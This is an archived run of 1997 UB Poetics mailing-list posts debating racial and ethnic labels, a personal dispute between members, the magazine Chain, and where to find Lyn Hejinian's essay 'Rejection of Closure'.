changing, as reflected in Schuchat Simon's post, so are the names and
their meanings. We are constantly exploring what our very own names
mean. What does being Rachel Levitsky mean anyway? Creeley said this
summer that our names are not our own. And yet they are useful. I have
a new word for labeling. Poetry.
>
> Sylvester P. wrote:
>
> Hello, Hoa Nguyen! I understand that use of the term, I just don't like
> it
> & don't use it myself. I am a person of color, in my estimation, a sort
> of
> nicer color now than in March, when I tend to fade to a greyish white.
> Tanner now. When people, students say, want their heritage acknowledged,
> I
> try to honor that with sensitivity and particularity, so that I don't
> call
> a Passamaquoddy a Micmac. It seems clear to me that many terms used
> comfortably by people within a group to refer to themselves can not be
> used
> that way by outsiders. Of course, the language is constantly shifting, &
> it's our job as poets to push it into better places. I hope I'm not
> sounding cantankerous here--I was a bit yesterday, after half a day
> chainsawing firewood and half a day reading student papers. (Not an
> academic, just a poet/part-timer, trying to get through the winter.) I
> think this sort of discussion really helps, by the way, so thanks.
>
> Dale S.>
> >>So why don't you provoke something that helps instead of implying that
> >>references coined by particular groups other than your own make you
> >>uncomfortable
> >
>
> Elizabeth M.:
>
> >... huh? whoa mike/dales.... a) why is it you assume one is obligated

> to
> >provoke? that provoking turns up helpful things? on this list,
> "provoking,"
> >especially deliberate provoking, has been turning up a lot of
> discomfort and
> >defensiveness that more often than not have clouded issues, so if it is
> up to
> >me, i'd just as soon someone not take out their virtual acetylene torch
> and
> >try and "provoke" up a storm; b) since when is the only constructive
> way to
> >work out various thoughts to "provoke" anyway? what happened to
> discuss, tease
> >out opposing realities, dissect into multiple facets and look for
> prevalance,
> >ask for new ways to solve for x, etc? c) doesn't seem to me that there
> >was anything about saying references coined by other groups than
> speaker's
> >own make speaker uncomfortable. what was said was, and rightfully so,
> that
> >inside of a group referents may be used which are offensive when used
> by one
> >outside of group. two examples spring to mind - i've heard various
> black
> >people use the word "nigger" in reference to self/each other, i.e. "i
> am one
> >bad nigger" but for non-black person to use word would be grossly
> offensive;
> >as woman, i might often jokingly refer to "the girls" as sort of warm
> and
> >age-inclusive and self-teasing referent, or as sly referent to gay
> component,
> >as in "she's cute -- think she's one of us girls?". but when a male
> refers
> >to women as girls, well, i'm not through the ceiling about it most of
> the
> >time but it can be kind of offensive. THAT is what post was about, not
> >as you imply some effort to impose referents coined only by speaker's
> group,
> >whatever you parse that to be.
> >
> >finally, i see no opposition between looking for interesting responses

> and
> >pointing out one interesting facet -- post was in fact another
> interesting
> >facet on original thread -- insider/outsider viewpoint added to efforts
> to
> >diversify added to racial/gender mix of mags.
> >
> >maybe since poster put some effort into posting, might be better to
> respect
> >poster's own words and not try and spin them into something else, eh?
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>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

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624. **dbkk**
Re: Social Tangles
Tue 30 Sep 1997

At 8:38 AM -0700 9/30/97, Dale Smith wrote:
>Thanks for the contextual note Maria. The particular book of Adornoís I
>return to again and again, especially when under fire from the SPT
>Thought Police, is *Aesthetic Theory,*

Dale this is a thoroughly unnecessary comment, a dehumanization of myself, and a slam on an institution that is working very hard to keep voices such as yours alive in in the Bay Area. Small Press Traffic has done nothing to you but to support you as a writer. To reduce me to an institution is appallingly bad manners, at best.

Dodie

↑ Index

625. **Joe Amato/Kass Fleisher**
Re: People of Color
Tue 30 Sep 1997

---

simply to second (and third) the suggestion to check out listmember aldon lynn nielsen's _reading race_... for me, it was a real eye-opener...

best,

joe

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626. **dbkk**
Re: Social Tangles
Tue 30 Sep 1997

At 6:01 PM -0700 9/29/97, Dale Smith wrote:
At times, ëexperiementalí forms, the ones, perhaps
>Kevin publishes in Mirage, though he doesnít necessarily like them,
>appear inhuman to me because they repel any human sympathy I might be
>capable of lending the poem.

First of all, I, Dodie, am the co-editor of Mirage. Secondly, neither Kevin nor I have ever published work we didn't like. There's lots of different reasons to like a work--a spirit of fun, a zest, good sex, political upheaval, undefinable moments of beauty, as well as formal innovation. Mirage is committed to experimental forms--it just has a broad definition of "experimental."

Dodie

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627. **simon**
Re: People of Color
Tue 30 Sep 1997

Just a side note that, although I have no idea whether Nielson is a shrinking violet, i can say from some email correspondence, he is a gentleman, and the book's quite uncomfortably fine as well.

beth simon

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628. **Dale Smith**
Re: Social Tangles
Tue 30 Sep 1997

Ultimately, Dodie, what you sense as bad manners on my part is only my unwillingness to post the usual dull, obvious, and self-serving posts that frequent this list. You are against thought, as far as I can see, by reducing it, continually, to a high-minded form of self-righteousness and *manners.* The thing you don't get, is that we can have differing opinions without it being a bad form of etiquette.

Ultimately, I think you respond out of fear and self defensiveness. I think what you dislike in my posts is that what you read begins to turn the rusty gears of

pressure in your head, and that scares you. So, to stop that fear you challenge with problems of diversity or anything else that is convenient. You are not consistent with your charges on this list, and I am not the only one whom you continually slander. I mean, you do a pretty good job of covering your ass. But we can read between the lines.

And I will speak my mind. If I am unfair, or out of line, and it's pointed out to me, I usually acknowledge it. And, as far as policing goes, my statement is completely accurate in terms of my experience with you on this list.

It was wrong of me, in the context of my post the other day, to ask you for grace, of any kind. But, maybe it's a vestige of my bourgeious background. I find that grace gives others the opportunity to delay personal conflict. I lack this often myself. But much of what we say, as poets, is charged with the moment of articulation, and is unavoidable. This medium itself distorts us, pushes us to appear a bit more binomial that we would be in each other's presence. I think that tolerance of ideas is necessary. No doubt I sometimes come on strong, and will continue to do so. And you can have all kinds of problems with that. But I think it would benefit discussion on this list if arguments were based less on personal biases and founded more upon intelligent opposition or counter positions to those we disagree with.

Yours, a little winded,
Dale

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629. **Dale Smith**
Re: Social Tangles
Tue 30 Sep 1997

Well, Kevin, on Friday, asked why you only had to publish what you like? I think he then went on to say that he publishes things he doesn't like quite often. Not wanting to speak for you, co-editor of Mirage, Dodie Bellamy, I refrained from associating you with that editorial practice because I had the feeling you publish based on what you convey below. I also was reluctant to mention your name because it usually brings nothing but grief these days. Apologies. I should have been less Kevin-centric.

>From [redacted] Tue Sep 30 09:27:39 1997
>Received: (qmail 20474 invoked from network); 30 Sep 1997 16:17:03
-0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)

> by deliverance.acsu.buffalo.edu with SMTP; 30 Sep 1997 16:17:03 -0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 21090866 for
> [redacted]; Tue, 30 Sep 1997 12:17:01
-0400
>Received: (qmail 10987 invoked from network); 30 Sep 1997 16:17:00
-0000
>Received: from mail3.sirius.com (205.134.253.133) by
listserv.acsu.buffalo.edu
> with SMTP; 30 Sep 1997 16:17:00 -0000
>Received: from [205.134.235.33] (ppp-asfm01--033.sirius.net
[205.134.235.33])
> by mail3.sirius.com (8.8.7/Sirius-8.8.7-97.08.12) with ESMTP
id
> JAA18253 for <[redacted]>; Tue, 30 Sep
1997
> 09:16:49 -0700 (PDT)
>X-Sender: [redacted]
>Mime-Version: 1.0
>Content-Type: text/plain; charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>Message-ID: <l0310280cb05673ea51c7@[205.134.235.33]>
>Date: Tue, 30 Sep 1997 09:16:49 -0700
>Reply-To: UB Poetics discussion group
<[redacted]>
>Sender: UB Poetics discussion group
<[redacted]>
>From: [redacted]
>Subject: Re: Social Tangles
>To: [redacted]
>In-Reply-To: <[redacted]>
>
>At 6:01 PM -0700 9/29/97, Dale Smith wrote:
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>innovation. Mirage is committed to experimental forms--it just has a
broad
>definition of "experimental."
>
>Dodie
>

_____
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630. **Ira Lightman**
Re: Social Tangles
Tue 30 Sep 1997

I'd like to concur that I hate this "provoke to
get the truth" thing as much as I hate it in
Adorno (anyone who dismisses Stravinsky as Adorno
does is profoundly non-post-modernist, or sane,
would be Adornoesque about Adorno). I enter this
thread only to put in a poem on it coincedentally
composed two days ago

> add-or-no-
> straction.

I think Adorno's idea of negative dialectic is
nuts, non-Hegel, you caan't force others into
dialectic, on your terms, and ditto with
"ab-straction" ie like ab-sent, to be recognised
as departing. Thus there must be ad-straction,
thus ad-straction or no straction at all, plus
a pun on Adorno...

Ira Lightman

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631. **Hoa Nguyen**
Re: People of Color?
Tue 30 Sep 1997

I would have responded to Mr. Pollet-- front channel-- but he also sent me a message saying basically the same thing back channel so I responded there.

I am suprised no one else questioned what I thought was a rather provacative statement on Mr. Pollet's part. In my last communication with him, I suggested that maybe we take up this thread front channel and I am still uncertain whether there is general interest...

"the usual dull, obvious, and self-serving post"--

Hoa

Sylvester P. wrote:

Hello, Hoa Nguyen! I understand that use of the term, I just don't like it & don't use it myself. I am a person of color, in my estimation, a sort of nicer color now than in March, when I tend to fade to a greyish white. Tanner now. When people, students say, want their heritage acknowledged, I try to honor that with sensitivity and particularity, so that I don't call a Passamaquoddy a Micmac. It seems clear to me that many terms used comfortably by people within a group to refer to themselves can not be used that way by outsiders. Of course, the language is constantly shifting, & it's our job as poets to push it into better places. I hope I'm not sounding cantankerous here--I was a bit yesterday, after half a day chainsawing firewood and half a day reading student papers. (Not an academic, just a poet/part-timer, trying to get through the winter.) I think this sort of discussion really helps, by the way, so thanks.

Dale S.>
>>So why don't you provoke something that helps instead of implying that
>>references coined by particular groups other than your own make you
>>uncomfortable
>

Elizabeth M.:

>... huh? whoa mike/dales.... a) why is it you assume one is obligated
to
>provoke? that provoking turns up helpful things? on this list,
"provoking,"
>especially deliberate provoking, has been turning up a lot of
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>defensiveness that more often than not have clouded issues, so if it is
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>me, i'd just as soon someone not take out their virtual acetylene torch
and
>try and "provoke" up a storm; b) since when is the only constructive
way to
>work out various thoughts to "provoke" anyway? what happened to

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>out opposing realities, dissect into multiple facets and look for prevalance,
>ask for new ways to solve for x, etc? c) doesn't seem to me that there
>was anything about saying references coined by other groups than speaker's
>own make speaker uncomfortable. what was said was, and rightfully so, that
>inside of a group referents may be used which are offensive when used by one
>outside of group. two examples spring to mind - i've heard various black
>people use the word "nigger" in reference to self/each other, i.e. "i am one
>bad nigger" but for non-black person to use word would be grossly offensive;
>as woman, i might often jokingly refer to "the girls" as sort of warm and
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>as in "she's cute -- think she's one of us girls?". but when a male refers
>to women as girls, well, i'm not through the ceiling about it most of the
>time but it can be kind of offensive. THAT is what post was about, not
>as you imply some effort to impose referents coined only by speaker's group,
>whatever you parse that to be.
>
>finally, i see no opposition between looking for interesting responses and
>pointing out one interesting facet -- post was in fact another interesting
>facet on original thread -- insider/outsider viewpoint added to efforts to
>diversify added to racial/gender mix of mags.
>
>maybe since poster put some effort into posting, might be better to respect
>poster's own words and not try and spin them into something else, eh?
>e
>

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632. **dbkk**
Re: Social Tangles
Tue 30 Sep 1997

At 9:41 AM -0700 9/30/97, Dale Smith wrote:

> *Ultimately, I think you respond out of fear and self defensiveness. I think what you dislike in my posts is that what you read begins to turn the rusty gears of pressure in your head, and that scares you.*

You're right, Dale, your brand of dehumanization does, indeed, frighten me. I can only respond to it in horror.

Dodie

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633. **Eliza McGrand**
Re: Social Tangles
Tue 30 Sep 1997

---

dale
i am not sure what your issue with dodie is, but i wonder, could you keep it backchannel?

just for record, if someone came to me and said "Quick! describe dodie bellamy!"
> " against thought, as far as I can see,
by reducing it, continually, to a high-minded form of self-righteousness and *manners.*"
would absolutely not be what comes to mind.

able to penetrate in a single glance, quite often, to the painful and because painful, not spoken; fiery; brave; sometimes hasty; often seen backing down if haste and fire has brought her too far; gentle; busy; tired; overcommitted; multiply viewed; wise, in that older-woman wise way; freely moving between age groups; learned; able to command small details in a single bound; a fine champion of women, working class, non-academics, writers, editors, literati, all color/ethnicity/religion; quick to understand subtleties and complexities and interplays -- dodie and judy and joe and david b and henry are main people i'll look to backchannel when i am trying to tease out strange knots of a dilemna, but dodie and judy are most often the ones who'll say the difficult, perhaps confrontational stuff in an honest, vulnerable way i really respect...

sometimes when defensive, one attributes to "enemy" qualities one embodies in oneself. dale, i haven't seen you back down on anything you've been mistaken about, including that woeful misreading of sylvester pollet. if you've done it, it hasn't registered. i have seen you, in the short time you've been on the list, attack much more often than i've seen dodie do, and when i've seen dodie it isn't an attack so much as an honest "this is what i'm seeing and think. tell me if i'm mistaken" -- and i've told her, when i didn't know her, that i thought she was mistaken and we talked about it and dale, she didn't call me a single name. that was when i learned how useful (if one can get over the guilt of bothering her when she is so overcommitted) dodie is in teasing out a complex problem.

i've seen posts that turn wheels dale. some of yours do. a number haven't. i've seen dodie's response to wheel turners -- see for instance working class thread of about a year ago, or another gender issue thread much like the one current of about a year ago as well. see dodie on small presses, on contests (from this summer) and in one of the finest dodie moments, the funding process for small presses and series. she described, with blistering honesty, what she does to get money for SPT, being on grant committees that distribute (or don't) money, and my heavens it elicited some extraordinary responses from others, from her again, from others. when wheel turners come dodie's way, i would say, again, her most consistent response is some wild leap in a direction either one hadn't looked, or it was uncomfortable and therefore not done, to look. oh, another fine dodie moment -- writing and sexuality and erotica, also this summer and a few months earlier as well. then another leap. then someone leaps elsewise and dodie goes there and comes back, or over, etc.

if you are feeling there is another reaction to your posts from dodie, you might re-examine what she reacts to in terms of its "wheel-turning" capacity. i wouldn't call name-calling wheel turning, but rather, an attempt to break the wheel. and you might want to settle with dodie backchannel why it is you are having those responses?

i don't want to get to the point of deleting your posts unread -- your post on adorno and langpo is still making wheels turn and i'm not yet ready to post response, it was that dense and interesting. but i really don't get anything out of attacks on people and nastiness for the sake of stirring things up. i keep ending up responding to latter, because i'm irish and i hate seeing people hurt or bullied (alot of what motivates dodie i think. it might also be a female response -- we are socialized to nurture and protect, not tear down and eat while wiggling then pee on remains). but i don't like it -- it makes my stomach hurt and my blood pressure rise and my chocolate consumption go up. i've noticed as people enter list, they try and make a "stir" by posting nasty posts and flames and attacking in the name of "being provocative." i know i did it myself, and did it

out of mostly insecurity. i wonder if there could be something in welcome message to reassure people and disable attack/make a stir reflex? e

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634. **Dale Smith**
Re: Social Tangles
Tue 30 Sep 1997

Actually, I did backchannel Dodie last week. A couple of times. She didn't respond to either.

I apologize to the list. It's not as dull and self-serving as I suggest. If it serves any one, as I can tell, it's me. I got $5 for a magazine yesterday.

I haven't read your question to me re: Pollet yet. Will though. I assumed he was white because he said so. But, I could have misinterpreted.

>From [redacted] Tue Sep 30 10:35:45 1997
>Received: (qmail 24024 invoked from network); 30 Sep 1997 17:35:10
-0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by deliverance.acsu.buffalo.edu with SMTP; 30 Sep 1997 17:35:10 -0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 21094539 for
> [redacted]; Tue, 30 Sep 1997 13:35:09
-0400
>Received: (qmail 26670 invoked from network); 30 Sep 1997 17:35:07
-0000
>Received: from life.ai.mit.edu (128.52.32.80) by
listserv.acsu.buffalo.edu with
> SMTP; 30 Sep 1997 17:35:07 -0000
>Received: from rice-chex.ai.mit.edu (rice-chex.ai.mit.edu
[128.52.32.46]) by
> life.ai.mit.edu (8.8.5/AI1.15/ai.master.life:1.18) with ESMTP
id
> NAA08094 for <[redacted]>; Tue, 30 Sep
1997
> 13:35:05 -0400 (EDT)
>Received: (from [redacted]) by rice-chex.ai.mit.edu
> (8.8.5/8.8.4AI/ai.client:1.5) id NAA22050 for
> [redacted]; Tue, 30 Sep 1997 13:35:04
-0400
> (EDT)

>Message-ID: <[redacted]>
>Date: Tue, 30 Sep 1997 13:35:04 -0400
>Reply-To: UB Poetics discussion group
<[redacted]>
>Sender: UB Poetics discussion group
<[redacted]>
>From: Eliza McGrand <[redacted]>
>Subject: Re: Social Tangles
>To: [redacted]
>
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>out of attacks on people and nastiness for the sake of stirring things
up. i
>keep ending up responding to latter, because i'm irish and i hate
seeing people
>hurt or bullied (alot of what motivates dodie i think. it might also
be a female
>response -- we are socialized to nurture and protect, not tear down and
eat while wiggling then pee on remains). but i don't like it -- it
makes my stomach
>hurt and my blood pressure rise and my chocolate consumption go up.
i've noticed as people enter list, they try and make a "stir" by posting
nasty posts and
>flames and attacking in the name of "being provocative." i know i did
it
>myself, and did it out of mostly insecurity. i wonder if there could
be
>something in welcome message to reassure people and disable attack/make

a stir
>reflex?
>e
>

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↑ Index

635. **mark weiss**
Social Tangles
Tue 30 Sep 1997

Could we all try to keep personal jabs, as opposed to critiques of ideas, backchannel? No reason for personal snarling to be done in front of an audience.

↑ Index

636. **Jacques Debrot**
Re: *Chain* & what one likes
Tue 30 Sep 1997

Certainly one's *feelings* are central to making aesthetic judgements. But although our feelings are our own, they originate in cultural values. So, whether we like "this" rather than "that" depends first of all on our culture. The breadth of one's culture is what makes it possible to recognize the conflict of values competing within and for the cultural field. Indeed, as the art critic de Duve argues -- sensitivity to art involves experiencing this conflict of values as a conflict of feelings. Art -- at least experimentalist art -- is something one feels *conflictually*: "you give your consent to the absence of consensus." Ideally, then, progressive aesthetic judgements are not questions of "taste," but depend on a willingness and a *talent* for letting, say, the poems one writes or publishes run against & betray one's "tastes." Of course, this can be done stupidly or not, in a reactionary or an adventurous way -- but most importantly it involves the ability to read one's feelings as if they were objects projected from, as de Duve says, outside of oneself. The disagreements in recent postings over the value of the writing in *Chain* strike me, then, as being really about whether poetry is (as the criticisms of *C* seem to suggest) something *given* or whether it is, instead a generative & a constructivist practice.

↑ Index

637. **Lawrence Upton.**
Re: Weapons named after people & military slang
Tue 30 Sep 1997

I have no knowledge of explosives - why, I wonder, did they mix explosives with flour - were they trying to harness the self-raising power?

| From: Kali Tal <[redacted]>
| Aunt Jemima: explosive mixed with flour (WWII)

↑ Index

638. **Joe Amato/Kass Fleisher**
Re: *Chain* & what one likes
Tue 30 Sep 1997

---

jacques, that's all very nicely put, but---

here comes henry!...

really though: poetry in fact, poetic practice/process, is also characterized by being free (as it were) to push past the cultural moment... whether in its actual articulation or ex post facto is not *necessarily* the point... the point is the imagined effort... which, if you like, you can insist on seeing as sociocultural---and i do mself in many ways, on many occasions---but which, too, may be regarded in terms of the singular, much as one's fingerprint, the significance or insignificance of which is perhaps buried under that term "talent" you've, uhm, deployed (and i see it this way too on occasion)...

nice post, anyway!...

best,

joe

↑ Index

639. **mark weiss**
Re: *Chain* & what one likes
Tue 30 Sep 1997

Don't believe everything you read in books.

At 02:47 PM 9/30/97 -0400, you wrote:
>Certainly one's *feelings* are central to making aesthetic judgements. But
>although our feelings are our own, they originate in cultural values. So,
>whether we like "this" rather than "that" depends first of all on our
>culture. The breadth of one's culture is what makes it possible to recognize

>the conflict of values competing within and for the cultural field. Indeed,
>as the art critic de Duve argues -- sensitivity to art involves experiencing
>this conflict of values as a conflict of feelings. Art -- at least
>experimentalist art -- is something one feels *conflictually*: "you give your
>consent to the absence of consensus." Ideally, then, progressive aesthetic
>judgements are not questions of "taste," but depend on a willingness and a
>*talent* for letting, say, the poems one writes or publishes run against &
>betray one's "tastes." Of course, this can be done stupidly or not, in a
>reactionary or an adventurous way -- but most importantly it involves the
>ability to read one's feelings as if they were objects projected from, as de
>Duve says, outside of oneself. The disagreements in recent postings over the
>value of the writing in *Chain* strike me, then, as being really about
>whether poetry is (as the criticisms of *C* seem to suggest) something
>*given* or whether it is, instead a generative & a constructivist practice.
>
>

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640. **Hoa Nguyen**
thanks
Tue 30 Sep 1997

Dear List People--

I will still be receiving mail at this address but I won't be subscribing to the list anymore, so if you address any questions to/towards me, you will need to back channel for me to see it or to garner a response.

Feeling weird but ok,

Hoa

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

641. **Susan Clark**
Re: Killian and Argento
Tue 30 Sep 1997

Carolyn,

Best way to order such books here is to write to Small Press Distribution, 1341 Seventh Street [new address], Berkeley, CA 94702 USA

or call to get prices, etc. : [redacted] ; [redacted] : toll free orders numbers [don't know if it works from here] fax: [redacted] ; or email: [redacted]

hope that helps [so nice this cut-and-paste!]
best, Susan

Susan Clark
RADDLE MOON

--
** IMPORTANT : the reply function alone will not reach me.
To reply, please remove "nospam" from the email address before sending.

↑ Index

642. Peter Balestrieri
Lynn Hejinian's essay "Rejection of Closure"
Tue 30 Sep 1997

> Hello All,
> Does anyone know how I might obtain a copy of Hejinian's essay
> "Rejection of Closure," originally in Poetry Journal, sometime in the
> late 1980's? Web searches have been unsuccessful so far.
> Thanks,
> Pete Balestrieri

↑ Index

643. Michael Magee
Re: Lynn Hejinian's essay "Rejection of Closure"
Tue 30 Sep 1997

Part of it is excerpted in Hoover's Norton Anthology of Postmod Poetr - you might be able to get a helpful cite from his bibliography. -Mike.

According to Peter Balestrieri:
>
> Hello All,
> Does anyone know how I might obtain a copy of Hejinian's essay
> "Rejection of Closure," originally in Poetry Journal, sometime in the
> late 1980's? Web searches have been unsuccessful so far.
> Thanks,
> Pete Balestrieri
>

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644. **Charles Bernstein**
Re: Lyn Hejinian's essay "Rejection of Closure"
Tue 30 Sep 1997

The entire essay is reprinted in an relatively new and in-print anthology, mentioned previously on this list:

Onward: Contemporary Poetry & Poetics
ed. Peter Baker
Peter Lang (NY, 1996)

the original essay was published in Poetics Journal 4 (1984)

> *Does anyone know how I might obtain a copy of Hejinian's essay "Rejection of Closure," originally in Poetry Journal, sometime in the late 1980's? Web searches have been unsuccessful so far.*
> *Thanks,*
> *Pete Balestrieri*

↑ Index

645. **Susan Clark**
Lyn Hejinian's "Rejection of Closure"
Tue 30 Sep 1997

---

dear all,

In case anyone else is interested, Lyn's essay was reprinted in RADDLE MOON 4, our international women writers issue. Copies are still available.

Susan

--
** IMPORTANT : the reply function alone will not reach me.
To reply, please remove "nospam" from the email address before sending.

↑ Index

646. **mark weiss**
Re: stereotypes
Tue 30 Sep 1997

I don't know if San Diego has its equivalent of Tuxedo Park or Lake Forest or Grosse Point (these last, Maria, are in the midwest), but I suspect it does. For those of you who don't know, Jews can't buy houses in these places. Quogue on Long Island, if I'm not mistaken, is another. I suspect that the California cities have similar suburbs, but I know for sure that there are places in San Diego county where being Jewish would be none to comfortable. Lest we glorify the wide open spaces of the West in contrast to the decadent East, remember that

some of those wide open spaces are between the ears of militia members and Aryan Nation types.

On Mon, 29 Sep 1997, Maria Damon wrote:
>
>> being
>> jewish though makes for an interesting twist in the cloth. it's hard to
>> convey to West coasters and midwesterners the reality that in my home-town
>> (boston and environs) it was standard during my childhood and adolescence
>> (and possibly even now) for certain country clubs etc to officially exclude
>> blacks and jews.

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647. Eliza McGrand
Re: stereotypes
Tue 30 Sep 1997

WHAT?! YUCK! how are jews prevented from buying -- is it outright question than refusal? does real estate agent do research, kind of the way used car salespeople do? what happens if someone jewish DOES buy? i am reminded of way temp companies in boston screen out black office workers. they administer typing tests, grammar tests, and it is awful because you see black woman who has worn her desk to paper learning to type faster hunched over machine and slamming out script like blazes. and office type overseeing administration, and interview, nods nicely and says "good good, we'll call when we have something" and then they never call. but next in line white worker like me takes typing test, doesn't type as fast even, and it's "well we have a job HERE, and HERE, and how about we send you out to BLAH company today" and one thinks, at those moments, about the rent check, about walking out, about saying something,... and perhaps one has said somthing a time or two and the personnel type, who moments ago was "othered," the enemy, looks drawn and miserable and says my boss said i can't send black workers there, and they have said they don't want them, and we'll lose the account if we send them, and they make them miserable if we do... and who wins. who loses. what is the stunning gesture that paralyzes snakes in their tracks and charms us all to sweet water again? e

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648. **Kali Tal**

Race, identity, otherness, us-ness, stereotypes....

Tue 30 Sep 1997

This is all such complicated stuff, since we all have multiple locations. When I think about "being Jewish," I think of it relative to other identities I have, which range from being white to being a product of the upper class. I also think about it relative to my ability to "pass" as non-Jewish (voluntary omission of the fact of my Jewishness) or my inability to be recognized as Jewish (involuntary exclusion). I think of it in relation to my decision to become an African Americanist, in relation to my kinship network (my extended family is comprised of German/Eastern European Jews and Puerto Rican Episcopalians), and so on. We are none of us able to be expressed by a singular, unified, identity. We're always this *and* that *and* that *and* that....

To sort out some of the identification issues, I tend to divide my identity markers into a couple of classes. The first is identity which is marked in the body. My femaleness falls in that category, as does my whiteness. Both are hard to hide, hard to represent as other than they are. Body markers are a big deal--they're the most in-your-face kinds of identity tags, and most of the reactions I get from other people are predicated, first of all, *on* those markers. (And working in e-space is fascinating, because those markers are removed and the name-tag I wear is most often mistaken for non-white and male.) An interesting thing about body markers, of course, is that they're easily misread. I don't "look Jewish," whatever that means, and so I am marked, on the basis of my body, by both Jews and non-Jews as "not a Jew." In the U.S., there's a body marker category called "Asian" which lumps together ethnic groups whose members consider each other to be racially distinct--Vietnamese, Korean, Japanese, etc. Such "mistakes" lead to questions like "what is Jewishness?" or "what is blackness?" or even "what is race?" Lots of questions to wrestle with here.

After the body markers come what I think of as the "image tags," or the deliberate ornamentation/style I adopt to convey certain messages about who I am. A shaved head, visible tattoes, piercings, leather, and so on. Or high heels, stockings, lace, a lotta cleavage. Or dreads. Or a kafiyah. Or or or. These tags have everything to do with what I want other people to think I am, but they are deliberately constructed, not inherent qualities. (I've had a couple of friends--both male, coincidentally--who were of a color and a "type" which was totally racially indeterminate. Both of them identified as "nonwhite"--and that is the general category they used--all the time, but one wavered back and forth between that broader category and East Asian Indian, and the other fluctuated between "nonwhite" and "black." On any given day they expressed their preferences and inclinations by the image tags they chose. As a "racial Everyman"--their term, not mine--they were assumed to be members of the dominant local nonwhite race,

whatever that was, by the members of that group. In Texas, Chicanos spoke Spanish to them, in Georgia African Americans assumed they were black, and white folks everywhere usually assumed they were white. They'd have to resist that definition by donning contradictory image tags, or it would be imposed upon them as a default.)

And then there are the internal tags, the "what-I-think-of-me-as" category of stuff I feel is somehow integral, but ultimately invisible. Like, hey, I know I'm a Jew even though I'm not exactly sure what Jewishness is (a race? a religion? a dessert topping?). There are days when I think I'm a Jew only because at other times and places people would have killed me for being a Jew, or because *if* people knew I was a Jew they wouldn't let me into their clubs, or because I'm sitting around and laughing and talking with a bunch of other people and we share what--for lack of a better word-- I have to call a "Jewish heritage," meaning that we laugh at the same jokes, share inflections, stories. Then there are other days when I feel a kind of connection to the myths I know as "Jewish history," even though I never feel any connection (and actually feel an antipathy) to anything smacking of the "Jewish religion." And I always *know* I'm not black. I never wake up in the morning with any doubt about that. These are the markers that I wear inside, and that are mostly invisible, even to me.

Stereotyping both combines the first two categories to create a kind of shorthand for the determination of "what" a person is, and influences the self-concept which shapes the development of the internal tags. (I am what I say I am, so I have to be careful about what I say I am; I am / am not what you say I am, so I wish you'd be careful about what you say I am.)

Aldon posted that great list of books (I'm glad someone added Aldon's to the list), and I'd like to add one more: Michael Omi & Howard Winant's revised edition of _Racial Formations_. Great stuff. I tend to believe that there *are* no "real" races, that identity along racial lines is wholly constructed, but that we construct it because the urge to Otherize is hardwired into the wetware; it's part of what makes us human beings. So racial constructions change with the times (remember when the Irish were black?), but the urge to construct races is a constant. We construct Others and we construct ourselves alla the time. The best we can do, I think, is try to be aware of who we're constructing, and how and why, who it hurts, who benefits, how the system we move within is structured to determine races and classes and genders and other Others here and now.

Kali

> *On Mon, 29 Sep 1997, Maria Damon wrote:*
>
> *being*

> *jewish though makes for an interesting twist in the cloth. it's hard to convey to West coasters and midwesterners the reality that in my hometown (boston and environs) it was standard during my childhood and adolescence (and possibly even now) for certain country clubs etc to officially exclude blacks and jews. when explaining why that meant i didn't belong to the institutions that my classmates did, i've been stopped and asked, "you look pretty white to me, so what's the problem?" as if they hadn't heard, or couldn't process, the "and jews" part of what i'd said. it just isn't part of how they divide up the world. the christian majority is not just a*
>
> *I never really grokked the otherness of being Jewish until I moved off the East Coast to Texas. People I met there couldn't understand why I found the months of compulsory Christmas muzak in the malls irritating (at best) -- until I asked them how they'd like being forced to listen continually to Mantovani's Greatest Islamic Chants. On the other hand, that's when I started viewing being Jewish as interesting, which had a big effect on my own studies and writing.*
>
> *I have friends in Texas who have bemoaned their own lack of ethnicity. When they leave the state, though, they find out that being Texan is its own thing, and (especially those with recognizably Texan accents) have to deal with both being stereotyped by others, and the way that other parts of the country are very different. (Since coming back East, it strikes me how rarely people smile around here!)*

Kali Tal new WORD order PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com [redacted] (phone & fax)
"Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

↑ Index

649. **mark weiss**

Re: stereotypes

Tue 30 Sep 1997

Here's how it works. In the old days when you bought a house from a real estate agent in these towns you signed a contract requiring you to resell through that same agent if you decided to leave. The agents did the dirty-work of deciding who to show to. Those contracts were declared illegal about fifteen years ago, so it's done informally now, and an occasional jew, or italian, etc., slips through. In Lake Forest, where I spent a summer at an art colony, my understanding was that a very few blacks were allowed in as long as they played football for the Chicago team (sorry, I don't follow the game--I'd rather watch paint dry). So the process was distanced from its beneficiaries. What's striking is that

no one ever seems to wake up in the morning wondering why all of his neighbors seem so similar.

At 09:47 PM 9/30/97 -0400, you wrote:
>WHAT?! YUCK! how are jews prevented from buying -- is it outright question
>than refusal? does real estate agent do research, kind of the way used car
>salespeople do? what happens if someone jewish DOES buy? i am reminded of
>way temp companies in boston screen out black office workers. they administer
>typing tests, grammar tests, and it is awful because you see black woman who
>has worn her desk to paper learning to type faster hunched over machine and
>slamming out script like blazes. and office type overseeing administration,
>and interview, nods nicely and says "good good, we'll call when we have
>something" and then they never call. but next in line white worker like
>me takes typing test, doesn't type as fast even, and it's "well we have a
>job HERE, and HERE, and how about we send you out to BLAH company today"
>and one thinks, at those moments, about the rent check, about walking out,
>about saying something,... and perhaps one has said somthing a time or two
>and the personnel type, who moments ago was "othered," the enemy, looks
>drawn and miserable and says my boss said i can't send black workers there,
>and they have said they don't want them, and we'll lose the account if we
>send them, and they make them miserable if we do... and who wins. who loses.
>what is the stunning gesture that paralyzes snakes in their tracks and charms
>us all to sweet water again?
>e
>
>

↑ Index

